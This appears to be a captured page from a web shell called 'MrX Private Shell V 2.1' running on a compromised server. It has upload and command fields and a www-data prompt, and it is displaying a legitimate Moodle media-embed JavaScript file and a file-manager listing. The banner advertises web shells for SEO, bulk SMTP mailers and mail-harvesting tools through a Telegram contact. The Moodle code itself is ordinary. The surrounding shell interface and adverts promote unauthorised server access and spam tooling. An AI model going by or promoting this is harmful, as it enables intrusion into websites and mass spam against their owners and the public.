__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Tiny Media plugin Embed class for Moodle.
 *
 * @module      tiny_media/embed
 * @copyright   2022 Huong Nguyen <huongnv13@gmail.com>
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import Templates from 'core/templates';
import {
    getString,
    getStrings,
} from 'core/str';
import * as ModalEvents from 'core/modal_events';
import {displayFilepicker} from 'editor_tiny/utils';
import {getCurrentLanguage, getMoodleLang} from 'editor_tiny/options';
import {component} from "./common";
import EmbedModal from './embedmodal';
import Selectors from './selectors';
import {getEmbedPermissions} from './options';
import {getFilePicker} from 'editor_tiny/options';

export default class MediaEmbed {
    editor = null;
    canShowFilePicker = false;
    canShowFilePickerPoster = false;
    canShowFilePickerTrack = false;

    /**
     * @property {Object} The names of the alignment options.
     */
    helpStrings = null;

    /**
     * @property {boolean} Indicate that the user is updating the media or not.
     */
    isUpdating = false;

    /**
     * @property {Object} The currently selected media.
     */
    selectedMedia = null;

    constructor(editor) {
        const permissions = getEmbedPermissions(editor);

        // Indicates whether the file picker can be shown.
        this.canShowFilePicker = permissions.filepicker && (typeof getFilePicker(editor, 'media') !== 'undefined');
        this.canShowFilePickerPoster = permissions.filepicker && (typeof getFilePicker(editor, 'image') !== 'undefined');
        this.canShowFilePickerTrack = permissions.filepicker && (typeof getFilePicker(editor, 'subtitle') !== 'undefined');

        this.editor = editor;
    }

    async getHelpStrings() {
        if (!this.helpStrings) {
            const [addSource, tracks, subtitles, captions, descriptions, chapters, metadata] = await getStrings([
                'addsource_help',
                'tracks_help',
                'subtitles_help',
                'captions_help',
                'descriptions_help',
                'chapters_help',
                'metadata_help',
            ].map((key) => ({
                key,
                component,
            })));

            this.helpStrings = {addSource, tracks, subtitles, captions, descriptions, chapters, metadata};
        }

        return this.helpStrings;
    }

    async getTemplateContext(data) {
        const languages = this.prepareMoodleLang();

        const helpIcons = Array.from(Object.entries(await this.getHelpStrings())).forEach(([key, text]) => {
            data[`${key.toLowerCase()}helpicon`] = {text};
        });

        return Object.assign({}, {
            elementid: this.editor.getElement().id,
            showfilepicker: this.canShowFilePicker,
            showfilepickerposter: this.canShowFilePickerPoster,
            showfilepickertrack: this.canShowFilePickerTrack,
            langsinstalled: languages.installed,
            langsavailable: languages.available,
            link: true,
            video: false,
            audio: false,
            isupdating: this.isUpdating,
        }, data, helpIcons);
    }

    async displayDialogue() {
        this.selectedMedia = this.getSelectedMedia();
        const data = Object.assign({}, this.getCurrentEmbedData());
        this.isUpdating = Object.keys(data).length !== 0;

        this.currentModal = await EmbedModal.create({
            title: getString('createmedia', 'tiny_media'),
            templateContext: await this.getTemplateContext(data),
        });

        await this.registerEventListeners(this.currentModal);
    }

    getCurrentEmbedData() {
        const properties = this.getMediumProperties();
        if (!properties) {
            return {};
        }

        const processedProperties = {};
        processedProperties[properties.type.toLowerCase()] = properties;
        processedProperties.link = false;

        return processedProperties;
    }

    getSelectedMedia() {
        const mediaElm = this.editor.selection.getNode();

        if (!mediaElm) {
            return null;
        }

        if (mediaElm.nodeName.toLowerCase() === 'video' || mediaElm.nodeName.toLowerCase() === 'audio') {
            return mediaElm;
        }

        if (mediaElm.querySelector('video')) {
            return mediaElm.querySelector('video');
        }

        if (mediaElm.querySelector('audio')) {
            return mediaElm.querySelector('audio');
        }

        return null;
    }

    getMediumProperties() {
        const boolAttr = (elem, attr) => {
            // As explained in MDL-64175, some OS (like Ubuntu), are removing the value for these attributes.
            // So in order to check if attr="true", we need to check if the attribute exists and if the value is empty or true.
            return (elem.hasAttribute(attr) && (elem.getAttribute(attr) || elem.getAttribute(attr) === ''));
        };

        const tracks = {
            subtitles: [],
            captions: [],
            descriptions: [],
            chapters: [],
            metadata: []
        };
        const sources = [];

        const medium = this.selectedMedia;
        if (!medium) {
            return null;
        }
        medium.querySelectorAll('track').forEach((track) => {
            tracks[track.getAttribute('kind')].push({
                src: track.getAttribute('src'),
                srclang: track.getAttribute('srclang'),
                label: track.getAttribute('label'),
                defaultTrack: boolAttr(track, 'default')
            });
        });

        medium.querySelectorAll('source').forEach((source) => {
            sources.push(source.src);
        });

        return {
            type: medium.nodeName.toLowerCase() === 'video' ? Selectors.EMBED.mediaTypes.video : Selectors.EMBED.mediaTypes.audio,
            sources,
            poster: medium.getAttribute('poster'),
            title: medium.getAttribute('title'),
            width: medium.getAttribute('width'),
            height: medium.getAttribute('height'),
            autoplay: boolAttr(medium, 'autoplay'),
            loop: boolAttr(medium, 'loop'),
            muted: boolAttr(medium, 'muted'),
            controls: boolAttr(medium, 'controls'),
            tracks,
        };
    }

    prepareMoodleLang() {
        const moodleLangs = getMoodleLang(this.editor);
        const currentLanguage = getCurrentLanguage(this.editor);

        const installed = Object.entries(moodleLangs.installed).map(([lang, code]) => ({
            lang,
            code,
            "default": lang === currentLanguage,
        }));

        const available = Object.entries(moodleLangs.available).map(([lang, code]) => ({
            lang,
            code,
            "default": lang === currentLanguage,
        }));

        return {
            installed,
            available,
        };
    }

    getMoodleLangObj(subtitleLang) {
        const {available} = getMoodleLang(this.editor);

        if (available[subtitleLang]) {
            return {
                lang: subtitleLang,
                code: available[subtitleLang],
            };
        }

        return null;
    }

    filePickerCallback(params, element, fpType) {
        if (params.url !== '') {
            const tabPane = element.closest('.tab-pane');
            element.closest(Selectors.EMBED.elements.source).querySelector(Selectors.EMBED.elements.url).value = params.url;

            if (tabPane.id === this.editor.getElement().id + '_' + Selectors.EMBED.mediaTypes.link.toLowerCase()) {
                tabPane.querySelector(Selectors.EMBED.elements.name).value = params.file;
            }

            if (fpType === 'subtitle') {
                // If the file is subtitle file. We need to match the language and label for that file.
                const subtitleLang = params.file.split('.vtt')[0].split('-').slice(-1)[0];
                const langObj = this.getMoodleLangObj(subtitleLang);
                if (langObj) {
                    const track = element.closest(Selectors.EMBED.elements.track);
                    track.querySelector(Selectors.EMBED.elements.trackLabel).value = langObj.lang.trim();
                    track.querySelector(Selectors.EMBED.elements.trackLang).value = langObj.code;
                }
            }
        }
    }

    addMediaSourceComponent(element, callback) {
        const sourceElement = element.closest(Selectors.EMBED.elements.source + Selectors.EMBED.elements.mediaSource);
        const clone = sourceElement.cloneNode(true);

        sourceElement.querySelector('.removecomponent-wrapper').classList.remove('hidden');
        sourceElement.querySelector('.addcomponent-wrapper').classList.add('hidden');

        sourceElement.parentNode.insertBefore(clone, sourceElement.nextSibling);

        if (callback) {
            callback(clone);
        }
    }

    removeMediaSourceComponent(element) {
        const sourceElement = element.closest(Selectors.EMBED.elements.source + Selectors.EMBED.elements.mediaSource);
        sourceElement.remove();
    }

    addTrackComponent(element, callback) {
        const trackElement = element.closest(Selectors.EMBED.elements.track);
        const clone = trackElement.cloneNode(true);

        trackElement.querySelector('.removecomponent-wrapper').classList.remove('hidden');
        trackElement.querySelector('.addcomponent-wrapper').classList.add('hidden');

        trackElement.parentNode.insertBefore(clone, trackElement.nextSibling);

        if (callback) {
            callback(clone);
        }
    }

    removeTrackComponent(element) {
        const sourceElement = element.closest(Selectors.EMBED.elements.track);
        sourceElement.remove();
    }

    getMediumTypeFromTabPane(tabPane) {
        return tabPane.getAttribute('data-medium-type');
    }

    getTrackTypeFromTabPane(tabPane) {
        return tabPane.getAttribute('data-track-kind');
    }

    getMediaHTML(form) {
        const mediumType = this.getMediumTypeFromTabPane(form.querySelector('.root.tab-content > .tab-pane.active'));
        const tabContent = form.querySelector(Selectors.EMBED.elements[mediumType.toLowerCase() + 'Pane']);

        return this['getMediaHTML' + mediumType[0].toUpperCase() + mediumType.substr(1)](tabContent);
    }

    getMediaHTMLLink(tab) {
        const context = {
            url: tab.querySelector(Selectors.EMBED.elements.url).value,
            name: tab.querySelector(Selectors.EMBED.elements.name).value || false
        };

        return context.url ? Templates.renderForPromise('tiny_media/embed_media_link', context) : '';
    }

    getMediaHTMLVideo(tab) {
        const context = this.getContextForMediaHTML(tab);
        context.width = tab.querySelector(Selectors.EMBED.elements.width).value || false;
        context.height = tab.querySelector(Selectors.EMBED.elements.height).value || false;
        context.poster = tab.querySelector(
            `${Selectors.EMBED.elements.posterSource} ${Selectors.EMBED.elements.url}`
        ).value || false;

        return context.sources.length ? Templates.renderForPromise('tiny_media/embed_media_video', context) : '';
    }

    getMediaHTMLAudio(tab) {
        const context = this.getContextForMediaHTML(tab);

        return context.sources.length ? Templates.renderForPromise('tiny_media/embed_media_audio', context) : '';
    }

    getContextForMediaHTML(tab) {
        const tracks = Array.from(tab.querySelectorAll(Selectors.EMBED.elements.track)).map(track => ({
            track: track.querySelector(Selectors.EMBED.elements.trackSource + ' ' + Selectors.EMBED.elements.url).value,
            kind: this.getTrackTypeFromTabPane(track.closest('.tab-pane')),
            label: track.querySelector(Selectors.EMBED.elements.trackLabel).value ||
                track.querySelector(Selectors.EMBED.elements.trackLang).value,
            srclang: track.querySelector(Selectors.EMBED.elements.trackLang).value,
            defaultTrack: track.querySelector(Selectors.EMBED.elements.trackDefault).checked ? "true" : null
        })).filter((track) => !!track.track);

        const sources = Array.from(tab.querySelectorAll(Selectors.EMBED.elements.mediaSource + ' '
            + Selectors.EMBED.elements.url))
                .filter((source) => !!source.value)
                .map((source) => source.value);

        return {
            sources,
            description: tab.querySelector(Selectors.EMBED.elements.mediaSource + ' '
                + Selectors.EMBED.elements.url).value || false,
            tracks,
            showControls: tab.querySelector(Selectors.EMBED.elements.mediaControl).checked,
            autoplay: tab.querySelector(Selectors.EMBED.elements.mediaAutoplay).checked,
            muted: tab.querySelector(Selectors.EMBED.elements.mediaMute).checked,
            loop: tab.querySelector(Selectors.EMBED.elements.mediaLoop).checked,
            title: tab.querySelector(Selectors.EMBED.elements.title).value || false
        };
    }

    getFilepickerTypeFromElement(element) {
        if (element.closest(Selectors.EMBED.elements.posterSource)) {
            return 'image';
        }
        if (element.closest(Selectors.EMBED.elements.trackSource)) {
            return 'subtitle';
        }

        return 'media';
    }

    async clickHandler(e) {
        const element = e.target;

        const mediaBrowser = element.closest(Selectors.EMBED.actions.mediaBrowser);
        if (mediaBrowser) {
            e.preventDefault();
            const fpType = this.getFilepickerTypeFromElement(element);
            const params = await displayFilepicker(this.editor, fpType);
            this.filePickerCallback(params, element, fpType);
        }

        const addComponentSourceAction = element.closest(Selectors.EMBED.elements.mediaSource + ' .addcomponent');
        if (addComponentSourceAction) {
            e.preventDefault();
            this.addMediaSourceComponent(element);
        }

        const removeComponentSourceAction = element.closest(Selectors.EMBED.elements.mediaSource + ' .removecomponent');
        if (removeComponentSourceAction) {
            e.preventDefault();
            this.removeMediaSourceComponent(element);
        }

        const addComponentTrackAction = element.closest(Selectors.EMBED.elements.track + ' .addcomponent');
        if (addComponentTrackAction) {
            e.preventDefault();
            this.addTrackComponent(element);
        }

        const removeComponentTrackAction = element.closest(Selectors.EMBED.elements.track + ' .removecomponent');
        if (removeComponentTrackAction) {
            e.preventDefault();
            this.removeTrackComponent(element);
        }

        // Only allow one track per tab to be selected as "default".
        const trackDefaultAction = element.closest(Selectors.EMBED.elements.trackDefault);
        if (trackDefaultAction && trackDefaultAction.checked) {
            const getKind = (el) => this.getTrackTypeFromTabPane(el.parentElement.closest('.tab-pane'));

            element.parentElement
                .closest('.root.tab-content')
                .querySelectorAll(Selectors.EMBED.elements.trackDefault)
                .forEach((select) => {
                    if (select !== element && getKind(element) === getKind(select)) {
                        select.checked = false;
                    }
                });
        }
    }

    async handleDialogueSubmission(event, modal) {
        const {html} = await this.getMediaHTML(modal.getRoot()[0]);
        if (html) {
            if (this.isUpdating) {
                this.selectedMedia.outerHTML = html;
                this.isUpdating = false;
            } else {
                this.editor.insertContent(html);
            }
        }
    }

    async registerEventListeners(modal) {
        await modal.getBody();
        const $root = modal.getRoot();
        const root = $root[0];
        if (this.canShowFilePicker || this.canShowFilePickerPoster || this.canShowFilePickerTrack) {
            root.addEventListener('click', this.clickHandler.bind(this));
        }

        $root.on(ModalEvents.save, this.handleDialogueSubmission.bind(this));
        $root.on(ModalEvents.hidden, () => {
            this.currentModal.destroy();
        });
        $root.on(ModalEvents.shown, () => {
            root.querySelectorAll(Selectors.EMBED.elements.trackLang).forEach((dropdown) => {
                const defaultVal = dropdown.getAttribute('data-value');
                if (defaultVal) {
                    dropdown.value = defaultVal;
                }
            });
        });
    }
}

Filemanager

Name Type Size Permission Actions
commands.js File 5.32 KB 0777
common.js File 1.08 KB 0777
configuration.js File 2.97 KB 0777
embed.js File 17.01 KB 0777
embedmodal.js File 1.51 KB 0777
image.js File 8.59 KB 0777
imagedetails.js File 23.35 KB 0777
imagehelpers.js File 5.08 KB 0777
imageinsert.js File 10.3 KB 0777
imagemodal.js File 1.53 KB 0777
manager.js File 2.97 KB 0777
options.js File 2.28 KB 0777
plugin.js File 1.82 KB 0777
selectors.js File 5.08 KB 0777
usedfiles.js File 3.36 KB 0777
Filemanager